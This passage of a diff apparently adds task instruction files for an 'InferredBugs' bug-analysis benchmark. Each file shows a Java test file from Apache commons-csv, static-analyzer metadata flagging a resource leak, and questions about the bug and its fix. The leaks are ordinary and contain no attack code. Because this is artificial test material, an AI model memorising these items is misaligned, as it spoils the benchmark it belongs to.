+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('2', br.read()); // Start line 2
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+
+        assertEquals('\r', br.lookAhead());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+        assertEquals('\r', br.read());
+        assertEquals('\r', br.getLastChar());
+        assertEquals(2, br.getCurrentLineNumber());
+
+        assertEquals('3', br.lookAhead());
+        assertEquals('\r', br.getLastChar());
+        assertEquals('3', br.read()); // Start line 3
+        assertEquals('3', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals('\n', br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('3', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+
+    }
+
+    @Test
+    public void testReadLookahead2() throws Exception {
+        final char[] ref = new char[5];
+        final char[] res = new char[5];
+
+        final ExtendedBufferedReader br = getBufferedReader("abcdefg");
+        ref[0] = 'a';
+        ref[1] = 'b';
+        ref[2] = 'c';
+        assertEquals(3, br.read(res, 0, 3));
+        assertArrayEquals(ref, res);
+        assertEquals('c', br.getLastChar());
+
+        assertEquals('d', br.lookAhead());
+        ref[4] = 'd';
+        assertEquals(1, br.read(res, 4, 1));
+        assertArrayEquals(ref, res);
+        assertEquals('d', br.getLastChar());
+    }
+
+    @Test
+    public void testReadLine() throws Exception {
+        ExtendedBufferedReader br = getBufferedReader("");
+        assertNull(br.readLine());
+
+        br = getBufferedReader("\n");
+        assertEquals("",br.readLine());
+        assertNull(br.readLine());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals("foo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals("hello",br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals('f', br.read());
+        assertEquals('o', br.lookAhead());
+        assertEquals("oo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('h', br.lookAhead());
+        assertEquals("hello",br.readLine());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+
+        br = getBufferedReader("foo\rbaar\r\nfoo");
+        assertEquals("foo",br.readLine());
+        assertEquals('b', br.lookAhead());
+        assertEquals("baar",br.readLine());
+        assertEquals('f', br.lookAhead());
+        assertEquals("foo",br.readLine());
+        assertNull(br.readLine());
+    }
+
+    /*
+     * Test to illustrate  https://issues.apache.org/jira/browse/CSV-75
+     *
+     */
+    @Test
+    public void testReadChar() throws Exception {
+        final String LF="\n"; final String CR="\r"; final String CRLF=CR+LF; final String LFCR=LF+CR;// easier to read the string below
+        final String test="a" + LF + "b" + CR + "c" + LF + LF + "d" + CR + CR + "e" + LFCR + "f "+ CRLF;
+        //                EOL        eol        EOL  EOL        eol  eol        EOL+CR        EOL
+        final int EOLeolct = 9;
+        ExtendedBufferedReader br;
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.readLine() != null) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.read() != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        final char[] buff = new char[10];
+        while (br.read(buff, 0, 3) != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+    }
+
+    private ExtendedBufferedReader getBufferedReader(final String s) {
+        return new ExtendedBufferedReader(new StringReader(s));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired to `br` by call to `getBufferedReader(...)` at line 134 is not released after line 143.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExtendedBufferedReaderTest.testReadLine()
+
+### Procedure Id:
+org.apache.commons.csv.ExtendedBufferedReaderTest.testReadLine():void.e38b90399370c04e7bcace6e540a3af8
+
+### File:
+src/test/java/org/apache/commons/csv/ExtendedBufferedReaderTest.java
+
+### Key:
+ExtendedBufferedReaderTest.java|testReadLine|RESOURCE_LEAK
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+d9e228eabc73257ac0060a4b3c304987
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6453/instruction.md b/inferredbugs-6453/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..aaecc6c877c6b519c33ea59a9ff57dc2b80d76d1
--- /dev/null
+++ b/inferredbugs-6453/instruction.md
@@ -0,0 +1,225 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.csv;
+
+import java.io.StringReader;
+import java.util.Arrays;
+
+import junit.framework.TestCase;
+
+/**
+ * ExtendedBufferedReaderTest
+ */
+public class ExtendedBufferedReaderTest extends TestCase {
+
+    public void testReadLookahead1() throws Exception {
+
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, getEBR("").read());
+        ExtendedBufferedReader br = getEBR("1\n2\r3\n");
+        assertEquals('1', br.lookAhead());
+        assertEquals(ExtendedBufferedReader.UNDEFINED, br.readAgain());
+        assertEquals('1', br.read());
+        assertEquals('1', br.readAgain());
+
+        assertEquals(0, br.getLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals(0, br.getLineNumber());
+        assertEquals('1', br.readAgain());
+        assertEquals('\n', br.read());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('\n', br.readAgain());
+        assertEquals(1, br.getLineNumber());
+
+        assertEquals('2', br.lookAhead());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('\n', br.readAgain());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('2', br.read());
+        assertEquals('2', br.readAgain());
+
+        assertEquals('\r', br.lookAhead());
+        assertEquals('2', br.readAgain());
+        assertEquals('\r', br.read());
+        assertEquals('\r', br.readAgain());
+
+        assertEquals('3', br.lookAhead());
+        assertEquals('\r', br.readAgain());
+        assertEquals('3', br.read());
+        assertEquals('3', br.readAgain());
+
+        assertEquals('\n', br.lookAhead());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('3', br.readAgain());
+        assertEquals('\n', br.read());
+        assertEquals(2, br.getLineNumber());
+        assertEquals('\n', br.readAgain());
+        assertEquals(2, br.getLineNumber());
+
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.lookAhead());
+        assertEquals('\n', br.readAgain());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.read());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.readAgain());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.read());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.lookAhead());
+
+    }
+
+
+    public void testReadLookahead2() throws Exception {
+        char[] ref = new char[5];
+        char[] res = new char[5];
+
+        ExtendedBufferedReader br = getEBR("");
+        assertEquals(0, br.read(res, 0, 0));
+        assertTrue(Arrays.equals(res, ref));
+
+        br = getEBR("abcdefg");
+        ref[0] = 'a';
+        ref[1] = 'b';
+        ref[2] = 'c';
+        assertEquals(3, br.read(res, 0, 3));
+        assertTrue(Arrays.equals(res, ref));
+        assertEquals('c', br.readAgain());
+
+        assertEquals('d', br.lookAhead());
+        ref[4] = 'd';
+        assertEquals(1, br.read(res, 4, 1));
+        assertTrue(Arrays.equals(res, ref));
+        assertEquals('d', br.readAgain());
+
+    }
+
+    public void testReadLine() throws Exception {
+        ExtendedBufferedReader br = getEBR("");
+        assertTrue(br.readLine() == null);
+
+        br = getEBR("\n");
+        assertTrue(br.readLine().equals(""));
+        assertTrue(br.readLine() == null);
+
+        br = getEBR("foo\n\nhello");
+        assertEquals(0, br.getLineNumber());
+        assertTrue(br.readLine().equals("foo"));
+        assertEquals(1, br.getLineNumber());
+        assertTrue(br.readLine().equals(""));
+        assertEquals(2, br.getLineNumber());
+        assertTrue(br.readLine().equals("hello"));
+        assertEquals(3, br.getLineNumber());
+        assertTrue(br.readLine() == null);
+        assertEquals(3, br.getLineNumber());
+
+        br = getEBR("foo\n\nhello");
+        assertEquals('f', br.read());
+        assertEquals('o', br.lookAhead());
+        assertTrue(br.readLine().equals("oo"));
+        assertEquals(1, br.getLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertTrue(br.readLine().equals(""));
+        assertEquals(2, br.getLineNumber());
+        assertEquals('h', br.lookAhead());
+        assertTrue(br.readLine().equals("hello"));
+        assertTrue(br.readLine() == null);
+        assertEquals(3, br.getLineNumber());
+
+
+        br = getEBR("foo\rbaar\r\nfoo");
+        assertTrue(br.readLine().equals("foo"));
+        assertEquals('b', br.lookAhead());
+        assertTrue(br.readLine().equals("baar"));
+        assertEquals('f', br.lookAhead());
+        assertTrue(br.readLine().equals("foo"));
+        assertTrue(br.readLine() == null);
+    }
+
+    private ExtendedBufferedReader getEBR(String s) {
+        return new ExtendedBufferedReader(new StringReader(s));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `getEBR(...)` at line 31 is not released after line 31.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExtendedBufferedReaderTest.testReadLookahead1()
+
+### Procedure Id:
+org.apache.commons.csv.ExtendedBufferedReaderTest.testReadLookahead1():void.7a5ea71d745cd8578baac8b5bcd592ee
+
+### File:
+src/test/java/org/apache/commons/csv/ExtendedBufferedReaderTest.java
+
+### Key:
+ExtendedBufferedReaderTest.java|testReadLookahead1|RESOURCE_LEAK
+
+### Node Key:
+15891b12c6ce50257e480adc810587ae
+
+### Hash:
+31cb925b4d39bb3feb6f4ac53d4ce369
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6454/instruction.md b/inferredbugs-6454/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b38fce0ff9e13315c3e7daa748c69b88f83ed54c
--- /dev/null
+++ b/inferredbugs-6454/instruction.md
@@ -0,0 +1,280 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 144
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.END_OF_STREAM;
+import static org.apache.commons.csv.Constants.UNDEFINED;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import java.io.StringReader;
+
+import org.junit.Test;
+
+/**
+ *
+ *
+ * @version $Id$
+ */
+public class ExtendedBufferedReaderTest {
+
+    @Test
+    public void testEmptyInput() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("");
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertNull(br.readLine());
+        assertEquals(0, br.read(new char[10], 0, 0));
+    }
+
+    @Test
+    public void testReadLookahead1() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("1\n2\r3\n");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.lookAhead());
+        assertEquals(UNDEFINED, br.getLastChar());
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.read()); // Start line 1
+        assertEquals('1', br.getLastChar());
+
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('1', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(1, br.getCurrentLineNumber());
+
+        assertEquals('2', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('2', br.read()); // Start line 2
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+
+        assertEquals('\r', br.lookAhead());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+        assertEquals('\r', br.read());
+        assertEquals('\r', br.getLastChar());
+        assertEquals(2, br.getCurrentLineNumber());
+
+        assertEquals('3', br.lookAhead());
+        assertEquals('\r', br.getLastChar());
+        assertEquals('3', br.read()); // Start line 3
+        assertEquals('3', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals('\n', br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('3', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+
+    }
+
+    @Test
+    public void testReadLookahead2() throws Exception {
+        final char[] ref = new char[5];
+        final char[] res = new char[5];
+
+        final ExtendedBufferedReader br = getBufferedReader("abcdefg");
+        ref[0] = 'a';
+        ref[1] = 'b';
+        ref[2] = 'c';
+        assertEquals(3, br.read(res, 0, 3));
+        assertArrayEquals(ref, res);
+        assertEquals('c', br.getLastChar());
+
+        assertEquals('d', br.lookAhead());
+        ref[4] = 'd';
+        assertEquals(1, br.read(res, 4, 1));
+        assertArrayEquals(ref, res);
+        assertEquals('d', br.getLastChar());
+    }
+
+    @Test
+    public void testReadLine() throws Exception {
+        ExtendedBufferedReader br = getBufferedReader("");
+        assertNull(br.readLine());
+
+        br = getBufferedReader("\n");
+        assertEquals("",br.readLine());
+        assertNull(br.readLine());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals("foo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals("hello",br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals('f', br.read());
+        assertEquals('o', br.lookAhead());
+        assertEquals("oo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('h', br.lookAhead());
+        assertEquals("hello",br.readLine());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+
+        br = getBufferedReader("foo\rbaar\r\nfoo");
+        assertEquals("foo",br.readLine());
+        assertEquals('b', br.lookAhead());
+        assertEquals("baar",br.readLine());
+        assertEquals('f', br.lookAhead());
+        assertEquals("foo",br.readLine());
+        assertNull(br.readLine());
+    }
+
+    /*
+     * Test to illustrate  https://issues.apache.org/jira/browse/CSV-75
+     *
+     */
+    @Test
+    public void testReadChar() throws Exception {
+        final String LF="\n"; final String CR="\r"; final String CRLF=CR+LF; final String LFCR=LF+CR;// easier to read the string below
+        final String test="a" + LF + "b" + CR + "c" + LF + LF + "d" + CR + CR + "e" + LFCR + "f "+ CRLF;
+        //                EOL        eol        EOL  EOL        eol  eol        EOL+CR        EOL
+        final int EOLeolct = 9;
+        ExtendedBufferedReader br;
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.readLine() != null) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.read() != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        final char[] buff = new char[10];
+        while (br.read(buff, 0, 3) != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+    }
+
+    private ExtendedBufferedReader getBufferedReader(final String s) {
+        return new ExtendedBufferedReader(new StringReader(s));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired to `br` by call to `getBufferedReader(...)` at line 145 is not released after line 156.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExtendedBufferedReaderTest.testReadLine()
+
+### Procedure Id:
+org.apache.commons.csv.ExtendedBufferedReaderTest.testReadLine():void.e38b90399370c04e7bcace6e540a3af8
+
+### File:
+src/test/java/org/apache/commons/csv/ExtendedBufferedReaderTest.java
+
+### Key:
+ExtendedBufferedReaderTest.java|testReadLine|RESOURCE_LEAK
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+d9e228eabc73257ac0060a4b3c304987
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6455/instruction.md b/inferredbugs-6455/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4081a5fcfa3872b9770f5e3d9a039997e8a1c947
--- /dev/null
+++ b/inferredbugs-6455/instruction.md
@@ -0,0 +1,310 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.csv;
+
+import java.io.StringReader;
+import java.util.Arrays;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * ExtendedBufferedReaderTest
+ *
+ */
+public class ExtendedBufferedReaderTest extends TestCase {
+
+  private ExtendedBufferedReader br = null;
+  
+  /**
+   * Constructor for ExtendedBufferedReaderTest.
+   * @param arg0
+   */
+  public ExtendedBufferedReaderTest(String arg0) {
+    super(arg0);
+  }
+
+  public static Test suite() {
+    return new TestSuite(ExtendedBufferedReaderTest.class);
+  }
+  
+  // ======================================================
+  //   the test cases
+  // ======================================================
+ 
+  public void testConstructors() {
+    br = new ExtendedBufferedReader(new StringReader(""));
+    br = new ExtendedBufferedReader(new StringReader(""), 10); 
+  }
+  
+  public void testReadLookahead1() throws Exception {
+   
+    assertEquals(ExtendedBufferedReader.END_OF_STREAM, getEBR("").read());
+    br = getEBR("1\n2\r3\n");
+    assertEquals('1', br.lookAhead());
+    assertEquals(ExtendedBufferedReader.UNDEFINED, br.readAgain());
+    assertEquals('1', br.read());
+    assertEquals('1', br.readAgain());
+
+    assertEquals(0, br.getLineNumber());
+    assertEquals('\n', br.lookAhead());
+    assertEquals(0, br.getLineNumber());
+    assertEquals('1', br.readAgain());    
+    assertEquals('\n', br.read());
+    assertEquals(1, br.getLineNumber());
+    assertEquals('\n', br.readAgain());
+    assertEquals(1, br.getLineNumber());
+    
+    assertEquals('2', br.lookAhead());
+    assertEquals(1, br.getLineNumber());
+    assertEquals('\n', br.readAgain());
+    assertEquals(1, br.getLineNumber());
+    assertEquals('2', br.read());
+    assertEquals('2', br.readAgain());
+    
+    assertEquals('\r', br.lookAhead());
+    assertEquals('2', br.readAgain());
+    assertEquals('\r', br.read());
+    assertEquals('\r', br.readAgain());
+    
+    assertEquals('3', br.lookAhead());
+    assertEquals('\r', br.readAgain());
+    assertEquals('3', br.read());
+    assertEquals('3', br.readAgain());
+    
+    assertEquals('\n', br.lookAhead());
+    assertEquals(1, br.getLineNumber());
+    assertEquals('3', br.readAgain());
+    assertEquals('\n', br.read());
+    assertEquals(2, br.getLineNumber());
+    assertEquals('\n', br.readAgain());
+    assertEquals(2, br.getLineNumber());
+    
+    assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.lookAhead());
+    assertEquals('\n', br.readAgain());
+    assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.read());
+    assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.readAgain());
+    assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.read());
+    assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.lookAhead());
+ 
+  }
+  
+
+  public void testReadLookahead2() throws Exception {
+    char[] ref = new char[5];
+    char[] res = new char[5];  
+    
+    br = getEBR("");
+    assertEquals(0, br.read(res, 0, 0));
+    assertTrue(Arrays.equals(res, ref)); 
+    
+    br = getEBR("abcdefg");
+    ref[0] = 'a';
+    ref[1] = 'b';
+    ref[2] = 'c';
+    assertEquals(3, br.read(res, 0, 3));
+    assertTrue(Arrays.equals(res, ref));
+    assertEquals('c', br.readAgain());
+    
+    assertEquals('d', br.lookAhead());
+    ref[4] = 'd';
+    assertEquals(1, br.read(res, 4, 1));
+    assertTrue(Arrays.equals(res, ref));
+    assertEquals('d', br.readAgain());
+ 
+  }
+  
+  public void testMarkSupported() {
+    assertFalse(getEBR("foo").markSupported());
+  }
+  
+  public void testReadLine() throws Exception {
+    br = getEBR("");
+    assertTrue(br.readLine() == null);
+    
+    br = getEBR("\n");
+    assertTrue(br.readLine().equals(""));
+    assertTrue(br.readLine() == null);
+    
+    br = getEBR("foo\n\nhello");
+    assertEquals(0, br.getLineNumber());
+    assertTrue(br.readLine().equals("foo"));
+    assertEquals(1, br.getLineNumber());
+    assertTrue(br.readLine().equals(""));
+    assertEquals(2, br.getLineNumber());
+    assertTrue(br.readLine().equals("hello"));
+    assertEquals(3, br.getLineNumber());
+    assertTrue(br.readLine() == null);
+    assertEquals(3, br.getLineNumber());
+    
+    br = getEBR("foo\n\nhello");
+    assertEquals('f', br.read());
+    assertEquals('o', br.lookAhead());
+    assertTrue(br.readLine().equals("oo"));
+    assertEquals(1, br.getLineNumber());
+    assertEquals('\n', br.lookAhead());
+    assertTrue(br.readLine().equals(""));
+    assertEquals(2, br.getLineNumber());
+    assertEquals('h', br.lookAhead());
+    assertTrue(br.readLine().equals("hello"));
+    assertTrue(br.readLine() == null);
+    assertEquals(3, br.getLineNumber());
+    
+ 
+    br = getEBR("foo\rbaar\r\nfoo");
+    assertTrue(br.readLine().equals("foo"));
+    assertEquals('b', br.lookAhead());
+    assertTrue(br.readLine().equals("baar"));
+    assertEquals('f', br.lookAhead());
+    assertTrue(br.readLine().equals("foo"));
+    assertTrue(br.readLine() == null);
+  }
+  
+  public void testSkip0() throws Exception {
+    
+    br = getEBR("");
+    assertEquals(0, br.skip(0));
+    assertEquals(0, br.skip(1));
+    
+    br = getEBR("");
+    assertEquals(0, br.skip(1));
+    
+    br = getEBR("abcdefg");
+    assertEquals(0, br.skip(0));
+    assertEquals('a', br.lookAhead());
+    assertEquals(0, br.skip(0));
+    assertEquals('a', br.lookAhead());
+    assertEquals(1, br.skip(1));
+    assertEquals('b', br.lookAhead());
+    assertEquals('b', br.read());
+    assertEquals(3, br.skip(3));
+    assertEquals('f', br.lookAhead());
+    assertEquals(2, br.skip(5));
+    assertTrue(br.readLine() == null);
+    
+    br = getEBR("12345");
+    assertEquals(5, br.skip(5));
+    assertTrue (br.lookAhead() == ExtendedBufferedReader.END_OF_STREAM);
+  }
+  
+  public void testSkipUntil() throws Exception {   
+    br = getEBR("");
+    assertEquals(0, br.skipUntil(';'));
+    br = getEBR("ABCDEF,GHL,,MN");
+    assertEquals(6, br.skipUntil(','));
+    assertEquals(0, br.skipUntil(','));
+    br.skip(1);
+    assertEquals(3, br.skipUntil(','));
+    br.skip(1);
+    assertEquals(0, br.skipUntil(','));
+    br.skip(1);
+    assertEquals(2, br.skipUntil(','));
+  }
+  
+  public void testReadUntil() throws Exception {
+    br = getEBR("");
+    assertTrue(br.readUntil(';').equals(""));
+    br = getEBR("ABCDEF;GHL;;MN");
+    assertTrue(br.readUntil(';').equals("ABCDEF"));
+    assertTrue(br.readUntil(';').length() == 0);
+    br.skip(1);
+    assertTrue(br.readUntil(';').equals("GHL"));
+    br.skip(1);
+    assertTrue(br.readUntil(';').equals(""));
+    br.skip(1);
+    assertTrue(br.readUntil(',').equals("MN"));
+  }
+  
+  private ExtendedBufferedReader getEBR(String s) {
+    return new ExtendedBufferedReader(new StringReader(s));
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired to `ExtendedBufferedReaderTest.br` by call to `new()` at line 51 is not released after line 52.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExtendedBufferedReaderTest.testConstructors()
+
+### Procedure Id:
+org.apache.commons.csv.ExtendedBufferedReaderTest.testConstructors():void.ad46b5105e12bc1f01d8ce73be0b4ac9
+
+### File:
